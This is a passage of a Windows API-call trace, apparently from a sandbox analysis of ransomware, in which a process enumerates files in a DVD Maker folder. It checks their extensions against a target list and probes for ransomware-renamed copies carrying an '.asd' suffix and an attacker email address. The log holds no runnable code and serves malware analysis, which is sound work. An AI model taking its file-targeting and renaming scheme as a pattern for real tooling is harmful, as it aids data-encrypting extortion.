lstrcmpiW (lpString1=".doc", lpString2=".MSG") returned -1 [0057.564] lstrlenW (lpString=".docx") returned 5 [0057.564] lstrcmpiW (lpString1=".docx", lpString2="T.MSG") returned -1 [0057.564] lstrlenW (lpString=".pdf") returned 4 [0057.564] lstrcmpiW (lpString1=".pdf", lpString2=".MSG") returned 1 [0057.564] lstrlenW (lpString=".xls") returned 4 [0057.564] lstrcmpiW (lpString1=".xls", lpString2=".MSG") returned 1 [0057.564] lstrlenW (lpString=".xlsx") returned 5 [0057.564] lstrcmpiW (lpString1=".xlsx", lpString2="T.MSG") returned -1 [0057.564] lstrlenW (lpString=".ppt") returned 4 [0057.564] lstrcmpiW (lpString1=".ppt", lpString2=".MSG") returned 1 [0057.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0057.564] lstrlenW (lpString=".zip") returned 4 [0057.564] lstrcmpiW (lpString1=".zip", lpString2=".MSG") returned 1 [0057.564] lstrlenW (lpString=".rar") returned 4 [0057.564] lstrcmpiW (lpString1=".rar", lpString2=".MSG") returned 1 [0057.564] lstrlenW (lpString=".bz2") returned 4 [0057.564] lstrcmpiW (lpString1=".bz2", lpString2=".MSG") returned -1 [0057.564] lstrlenW (lpString=".7z") returned 3 [0057.564] lstrcmpiW (lpString1=".7z", lpString2="MSG") returned -1 [0057.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0057.564] lstrlenW (lpString=".dbf") returned 4 [0057.564] lstrcmpiW (lpString1=".dbf", lpString2=".MSG") returned -1 [0057.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0057.564] lstrlenW (lpString=".1cd") returned 4 [0057.564] lstrcmpiW (lpString1=".1cd", lpString2=".MSG") returned -1 [0057.564] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0057.564] lstrlenW (lpString=".jpg") returned 4 [0057.564] lstrcmpiW (lpString1=".jpg", lpString2=".MSG") returned -1 [0057.565] lstrcmpiW (lpString1=".png", lpString2=".asd") returned 1 [0057.565] lstrlenW (lpString="16to9Squareframe_Buttongraphic.png") returned 34 [0057.565] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0058.908] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=10123) returned 1 [0058.908] CloseHandle (hObject=0x208) returned 1 [0058.908] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png")) returned 0x20 [0058.908] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0058.908] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.908] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0058.908] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0058.908] lstrlenW (lpString=".doc") returned 4 [0058.908] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0058.908] lstrlenW (lpString=".docx") returned 5 [0058.908] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0058.908] lstrlenW (lpString=".pdf") returned 4 [0058.909] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0058.909] lstrlenW (lpString=".xls") returned 4 [0058.909] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0058.909] lstrlenW (lpString=".xlsx") returned 5 [0058.909] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0058.909] lstrlenW (lpString=".ppt") returned 4 [0058.909] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0058.909] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0058.909] lstrlenW (lpString=".zip") returned 4 [0058.909] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0058.909] lstrlenW (lpString=".rar") returned 4 [0058.909] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0058.909] lstrlenW (lpString=".bz2") returned 4 [0058.909] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0058.909] lstrlenW (lpString=".7z") returned 3 [0058.909] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0058.909] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0058.909] lstrlenW (lpString=".dbf") returned 4 [0058.909] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0058.909] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0058.909] lstrlenW (lpString=".1cd") returned 4 [0058.909] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0058.909] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0058.909] lstrlenW (lpString=".jpg") returned 4 [0058.909] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0058.909] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0058.909] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0058.909] lstrlenW (lpString=".doc") returned 4 [0058.909] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0058.909] lstrlenW (lpString=".docx") returned 5 [0058.909] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0058.910] lstrlenW (lpString=".pdf") returned 4 [0058.910] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0058.910] lstrlenW (lpString=".xls") returned 4 [0058.910] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0058.910] lstrlenW (lpString=".xlsx") returned 5 [0058.910] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0058.910] lstrlenW (lpString=".ppt") returned 4 [0058.910] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0058.910] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0058.910] lstrlenW (lpString=".zip") returned 4 [0058.910] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0058.910] lstrlenW (lpString=".rar") returned 4 [0058.910] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0058.910] lstrlenW (lpString=".bz2") returned 4 [0058.910] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0058.910] lstrlenW (lpString=".7z") returned 3 [0058.910] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0058.910] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0058.910] lstrlenW (lpString=".dbf") returned 4 [0058.910] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0058.910] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0058.910] lstrlenW (lpString=".1cd") returned 4 [0058.910] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0058.910] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0058.910] lstrlenW (lpString=".jpg") returned 4 [0058.910] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0058.910] lstrcmpiW (lpString1=".wmv", lpString2=".asd") returned 1 [0058.910] lstrlenW (lpString="BabyBoyMainToNotesBackground.wmv") returned 32 [0058.911] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0059.120] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=141214) returned 1 [0059.120] CloseHandle (hObject=0x1fc) returned 1 [0059.120] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv")) returned 0x20 [0059.120] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0059.121] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.122] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0059.122] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0059.122] lstrlenW (lpString=".doc") returned 4 [0059.122] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0059.122] lstrlenW (lpString=".docx") returned 5 [0059.122] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0059.122] lstrlenW (lpString=".pdf") returned 4 [0059.122] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0059.122] lstrlenW (lpString=".xls") returned 4 [0059.122] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0059.122] lstrlenW (lpString=".xlsx") returned 5 [0059.122] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0059.122] lstrlenW (lpString=".ppt") returned 4 [0059.122] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0059.122] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0059.122] lstrlenW (lpString=".zip") returned 4 [0059.122] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0059.122] lstrlenW (lpString=".rar") returned 4 [0059.122] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0059.122] lstrlenW (lpString=".bz2") returned 4 [0059.122] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0059.122] lstrlenW (lpString=".7z") returned 3 [0059.123] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0059.123] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0059.123] lstrlenW (lpString=".dbf") returned 4 [0059.123] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0059.123] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0059.123] lstrlenW (lpString=".1cd") returned 4 [0059.123] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0059.123] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0059.123] lstrlenW (lpString=".jpg") returned 4 [0059.123] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0059.123] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0059.123] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0059.123] lstrlenW (lpString=".doc") returned 4 [0059.123] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0059.123] lstrlenW (lpString=".docx") returned 5 [0059.123] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0059.123] lstrlenW (lpString=".pdf") returned 4 [0059.123] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0059.123] lstrlenW (lpString=".xls") returned 4 [0059.123] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0059.123] lstrlenW (lpString=".xlsx") returned 5 [0059.123] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0059.123] lstrlenW (lpString=".ppt") returned 4 [0059.123] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0059.123] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0059.123] lstrlenW (lpString=".zip") returned 4 [0059.124] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0059.124] lstrlenW (lpString=".rar") returned 4 [0059.124] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0059.124] lstrlenW (lpString=".bz2") returned 4 [0059.124] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0059.124] lstrlenW (lpString=".7z") returned 3 [0059.124] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0059.124] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0059.124] lstrlenW (lpString=".dbf") returned 4 [0059.124] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0059.124] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0059.124] lstrlenW (lpString=".1cd") returned 4 [0059.124] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0059.124] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground.wmv") returned 84 [0059.124] lstrlenW (lpString=".jpg") returned 4 [0059.124] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0059.124] lstrcmpiW (lpString1=".wmv", lpString2=".asd") returned 1 [0059.124] lstrlenW (lpString="BabyBoyMainToNotesBackground_PAL.wmv") returned 36 [0059.124] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0059.125] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=157214) returned 1 [0059.125] CloseHandle (hObject=0x1fc) returned 1 [0059.125] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv")) returned 0x20 [0059.125] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0059.125] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintonotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.125] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0059.125] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0059.126] lstrlenW (lpString=".doc") returned 4 [0059.126] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0059.126] lstrlenW (lpString=".docx") returned 5 [0059.126] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0059.126] lstrlenW (lpString=".pdf") returned 4 [0059.126] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0059.126] lstrlenW (lpString=".xls") returned 4 [0059.126] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0059.126] lstrlenW (lpString=".xlsx") returned 5 [0059.126] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0059.126] lstrlenW (lpString=".ppt") returned 4 [0059.126] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0059.126] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0059.126] lstrlenW (lpString=".zip") returned 4 [0059.126] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0059.126] lstrlenW (lpString=".rar") returned 4 [0059.126] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0059.126] lstrlenW (lpString=".bz2") returned 4 [0059.126] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0059.126] lstrlenW (lpString=".7z") returned 3 [0059.126] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0059.126] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0059.126] lstrlenW (lpString=".dbf") returned 4 [0059.126] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0059.126] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0059.126] lstrlenW (lpString=".1cd") returned 4 [0059.127] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0059.127] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0059.127] lstrlenW (lpString=".jpg") returned 4 [0059.127] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0059.127] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0059.127] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0059.127] lstrlenW (lpString=".doc") returned 4 [0059.127] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0059.127] lstrlenW (lpString=".docx") returned 5 [0059.127] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0059.127] lstrlenW (lpString=".pdf") returned 4 [0059.127] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0059.127] lstrlenW (lpString=".xls") returned 4 [0059.127] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0059.127] lstrlenW (lpString=".xlsx") returned 5 [0059.127] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0059.127] lstrlenW (lpString=".ppt") returned 4 [0059.127] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0059.127] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0059.127] lstrlenW (lpString=".zip") returned 4 [0059.127] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0059.127] lstrlenW (lpString=".rar") returned 4 [0059.127] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0059.127] lstrlenW (lpString=".bz2") returned 4 [0059.127] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0059.127] lstrlenW (lpString=".7z") returned 3 [0059.128] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0059.128] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0059.128] lstrlenW (lpString=".dbf") returned 4 [0059.128] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0059.128] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0059.128] lstrlenW (lpString=".1cd") returned 4 [0059.128] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0059.128] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToNotesBackground_PAL.wmv") returned 88 [0059.128] lstrlenW (lpString=".jpg") returned 4 [0059.128] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0059.128] lstrcmpiW (lpString1=".wmv", lpString2=".asd") returned 1 [0059.128] lstrlenW (lpString="BabyBoyMainToScenesBackground.wmv") returned 33 [0059.128] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0059.129] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=117214) returned 1 [0059.129] CloseHandle (hObject=0x1fc) returned 1 [0059.130] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv")) returned 0x20 [0059.130] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0059.130] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.130] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0059.130] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0059.130] lstrlenW (lpString=".doc") returned 4 [0059.130] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0059.130] lstrlenW (lpString=".docx") returned 5 [0059.130] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0059.130] lstrlenW (lpString=".pdf") returned 4 [0059.130] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0059.130] lstrlenW (lpString=".xls") returned 4 [0059.130] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0059.130] lstrlenW (lpString=".xlsx") returned 5 [0059.130] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0059.130] lstrlenW (lpString=".ppt") returned 4 [0059.130] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0059.131] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0059.131] lstrlenW (lpString=".zip") returned 4 [0059.131] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0059.131] lstrlenW (lpString=".rar") returned 4 [0059.131] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0059.131] lstrlenW (lpString=".bz2") returned 4 [0059.131] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0059.131] lstrlenW (lpString=".7z") returned 3 [0059.131] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0059.131] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0059.131] lstrlenW (lpString=".dbf") returned 4 [0059.131] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0059.131] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0059.131] lstrlenW (lpString=".1cd") returned 4 [0059.131] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0059.131] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0059.131] lstrlenW (lpString=".jpg") returned 4 [0059.131] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0059.131] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0059.131] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0059.131] lstrlenW (lpString=".doc") returned 4 [0059.131] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0059.132] lstrlenW (lpString=".docx") returned 5 [0059.132] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0059.132] lstrlenW (lpString=".pdf") returned 4 [0059.132] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0059.132] lstrlenW (lpString=".xls") returned 4 [0059.132] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0059.132] lstrlenW (lpString=".xlsx") returned 5 [0059.132] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0059.132] lstrlenW (lpString=".ppt") returned 4 [0059.132] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0059.132] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground.wmv") returned 85 [0059.132] lstrlenW 